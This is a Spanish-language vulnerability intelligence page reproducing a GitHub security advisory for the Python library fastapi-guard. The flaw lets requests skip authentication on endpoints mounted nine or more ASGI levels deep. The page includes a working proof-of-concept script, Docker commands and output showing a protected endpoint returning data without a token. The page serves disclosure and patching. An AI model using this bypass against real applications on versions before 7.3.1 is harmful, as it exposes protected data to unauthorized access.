llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · fastapi-guard

GHSA-F2VM-W8GQ-H378

Omisión de autenticación por ruta en montajes ASGI anidados a gran profundidad en `fastapi-guard`

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.4
Alta
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -14 d de la divulgación
Exposición99 dDesde la divulgación, 12 ago 2026, 1:41 p. m.
Detección99 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 7.3.1
Monitoreo
Detectada +1
29 jul 26
12 ago 26
23 oct 26
20 nov 26
29 jul 26
27 ago 26
24 sept 26
22 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 7.3.1 fastapi-guard · -14 d desde divulgación
Divulgación Publicada GHSA-F2VM-W8GQ-H378 divulgada · CVSS 7.4 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Omisión de autenticación por ruta en montajes ASGI anidados a gran profundidad en `fastapi-guard`

### Resumen
`SecurityMiddleware` de `fastapi-guard` resuelve la ruta de la solicitud actual recorriendo de forma recursiva el árbol de `Mount` de ASGI en `SecurityMiddleware._match_route()`. Este recorrido recursivo tiene un límite fijo de profundidad de 8 (`guard/middleware.py:357`, `if depth >= 8: continue`). Cuando un endpoint protegido está montado a 9 o más niveles de `Mount`, la resolución de rutas se detiene silenciosamente antes de llegar a él, por lo que `request.state.guard_route_id` nunca se llena. Posteriormente, el resolvedor de configuración de rutas de `guard-core` y la verificación de autenticación tratan una ruta o una configuración de ruta ausente como "nada que aplicar" y retornan sin exigir autenticación (fail-open). El efecto neto es que cualquier endpoint protegido mediante un decorador por ruta (por ejemplo, `@guard_deco.require_auth(type="bearer")`) queda completamente sin autenticación, accesible para cualquier cliente remoto anónimo, una vez que está detrás de 9 o más montajes anidados, aunque el mismo decorador sí aplica un 401 con 8 o menos montajes anidados. Se trata de una omisión remota y sin autenticación de la confidencialidad e integridad de un control de seguridad que el desarrollador de la aplicación configuró explícitamente, con severidad alta (puntuación base CVSS 3.1 de 7.4).

### Detalles
La ruta de código vulnerable está completamente dentro del módulo empaquetado `guard/` (el único paquete distribuido según la configuración `[tool.hatch.build.targets.wheel]` de `pyproject.toml`), por lo que afecta a la biblioteca real y distribuida, no solo a código de ejemplo o demostración.

Cadena de llamadas (fuente → sumidero):

  1. `guard/middleware.py:480`: `SecurityMiddleware.dispatch()` se ejecuta en cada solicitud HTTP que maneja la aplicación ASGI.
  2. `guard/middleware.py:485-487`: `dispatch()` llama a `_populate_guard_state()` para adjuntar a la solicitud el estado relacionado con Guard (incluido `guard_route_id`) antes de que se ejecute cualquier verificación.
  3. `guard/middleware.py:395-397`: dentro de `_populate_guard_state()`, si `_resolve_route()` no devuelve un objeto de ruta coincidente, la función retorna anticipadamente sin establecer `request.state.guard_route_id`.
  4. `guard/middleware.py:334-342` (`_resolve_route()`) delega en `_match_route()`, que desciende recursivamente a los subrutas de cada `Mount` de ASGI buscando el endpoint que coincide con el scope actual.
  5. `guard/middleware.py:344-364`: `_match_route(routes, scope, depth)` es el resolvedor recursivo. El defecto crítico es el siguiente:
  6. `guard_core/core/routing/resolver.py:17-19`: el resolvedor de configuración de rutas comprueba la presencia de `request.state.guard_route_id`; si no existe (porque el paso 5 nunca lo estableció), devuelve `None` como configuración de la ruta.
  7. `guard_core/core/checks/implementations/route_config.py:12-14`: el pipeline de verificaciones guarda este `None` en `request.state.route_config` sin ningún error ni valor por defecto fail-closed.
  8. `guard_core/core/checks/implementations/authentication.py:50-52`: la verificación de autenticación lee `route_config` y, si es falsy, retorna de inmediato sin exigir autenticación:

La combinación de (5), el truncamiento silencioso e ilimitado del descubrimiento de rutas, y (8), la regla de "configuración ausente ⇒ omitir autenticación", produce una omisión de autenticación fail-open: cuanto más profundo está montado un endpoint, más probable es que se supere este límite codificado, y no existe ningún registro, excepción ni métrica que indique que la autenticación se omitió debido a un estado de ruta no resuelto.

La precondición (9 o más niveles de `Mount` anidados) no es una configuración rara ni exclusiva de administradores; es una propiedad estructural o arquitectónica de cómo una aplicación compone sus aplicaciones ASGI (común en aplicaciones FastAPI modulares de gran tamaño, pasarelas de API o composición de aplicaciones tipo plugin). Además, no requiere privilegios especiales ni interacción del usuario para activarse desde la red. Esto se refleja en el vector CVSS `AC:H` (Complejidad de ataque alta), ya que el atacante necesita determinar y apuntar a esa topología; sin embargo, una vez identificada, la explotación es trivial y repetible con una solicitud HTTP sin autenticación.

### PoC
Se usaron tanto un PoC estático o a nivel de biblioteca como un PoC dinámico de caja negra en contenedor para confirmar esta vulnerabilidad. Cualquiera de los dos reproduce el problema.

Opción A: PoC directo en la biblioteca (reproducción estática/dinámica de la Fase 2 mediante transporte ASGI en el mismo proceso):

Configuración:

python3 -m venv /tmp/fg-poc
/tmp/fg-poc/bin/python -m pip install -U pip
/tmp/fg-poc/bin/python -m pip install fastapi-guard==7.3.0 httpx

Script (`poc_inprocess.py`):

from fastapi import FastAPI
from httpx import AsyncClient, ASGITransport
import asyncio
from guard import SecurityConfig, SecurityDecorator, SecurityMiddleware

async def run_case(mounts: int):
    config = SecurityConfig(
        enable_penetration_detection=False,
        enforce_https=False,
        enable_redis=False,
        enable_rate_limiting=False,
    )
    guard_deco = SecurityDecorator(config)
    apps = [FastAPI() for _ in range(mounts + 1)]

    @guard_deco.require_auth(type="bearer")
    @apps[-1].get("/secret")
    async def secret():
        return {"secret": True}

    for i in range(mounts - 1, -1, -1):
        apps[i].mount(f"/m{i}", apps[i + 1])

    root = apps[0]
    root.add_middleware(SecurityMiddleware, config=config)
    root.state.guard_decorator = guard_deco

    path = "".join(f"/m{i}" for i in range(mounts)) + "/secret"
    async with AsyncClient(transport=ASGITransport(app=root), base_url="http://test") as client:
        r = await client.get(path, follow_redirects=False)
    print(mounts, r.status_code, r.text)

asyncio.run(run_case(8))
asyncio.run(run_case(9))

Salida esperada u observada:

8 401 Authentication required
9 200 {"secret":true}

Opción B: reproducción en contenedor de caja negra (verificación dinámica de la Fase 2), archivos en el directorio `vuln-001/` de este informe:

Compile y ejecute el objetivo exactamente como se publicó, sin modificaciones en el código fuente (el `Dockerfile` copia la copia sin modificar del repositorio e instala el paquete mediante `pip install /app/repo`):

# from the parent directory containing repo/ and vuln-001/
docker build -f vuln-001/Dockerfile -t vuln001-fastapi-guard .
docker run -d --rm --name vuln001-poc -p 127.0.0.1:8000:8000 vuln001-fastapi-guard

`server.py` (incluido en la imagen) expone dos árboles independientes de `Mount` anidados, usando únicamente APIs públicas de `fastapi_guard` (`SecurityMiddleware`, `SecurityDecorator.require_auth`): `/depth8/...` (8 montajes anidados, dentro del límite de recursión) y `/depth9/...` (9 montajes anidados, por encima del límite). Ambos árboles protegen un endpoint `GET /secret` idéntico mediante `@guard_deco.require_auth(type="bearer")`.

Ejecute el cliente de PoC (`poc.py`) contra el contenedor en ejecución:

python3 poc.py --host 127.0.0.1 --port 8000

Salida observada:

[8 mounts] GET /depth8/m0/m1/m2/m3/m4/m5/m6/m7/secret (no Authorization header) -> 401 Authentication required
[9 mounts] GET /depth9/m0/m1/m2/m3/m4/m5/m6/m7/m8/secret (no Authorization header) -> 200 {"secret":true}

[*] Summary
    8-mount baseline auth enforced (expect 401): True
    9-mount bypass reproduced (expect 200):      True
    9-mount protected payload leaked:            True

[+] VULN-001 CONFIRMED: unauthenticated request reached a bearer-auth-protected endpoint via 9 nested Mount levels while the identical decorator enforced 401 at 8 nested Mount levels.

Los registros propios del contenedor lo corroboran: la solicitud con 8 montajes produce `WARNING - Suspicious activity detected ... Authentication failure: Missing or invalid Bearer token` y `Request blocked by authentication` antes de devolver `401`, mientras que la solicitud con 9 montajes no produce ninguna entrada relacionada con autenticación y devuelve `200 OK` directamente. Esto demuestra que la verificación de autenticación nunca se invocó para la ruta anidada en profundidad.

### Impacto
Se trata de una vulnerabilidad remota y sin autenticación de omisión de autenticación (CWE-287, Autenticación inadecuada). Cualquier aplicación que use `fastapi_guard.SecurityMiddleware` junto con decoradores por ruta (`require_auth` y, por la misma ruta de código, cualquier otra verificación protegida por decorador que dependa de `route_config`) para proteger endpoints montados a 9 o más niveles de `Mount` de profundidad servirá silenciosamente esos endpoints a usuarios no autenticados y no autorizados

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
fastapi-guard< 7.3.1
7.3.1
8.1.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypifastapi-guard
Corregida 7.3.1 -14 d 8.1.2 no afectada
Versiones corregidas7.3.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Guard-Core/fastapi-guard/security/advisories/GHSA-f2vm-w8gq-h378

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.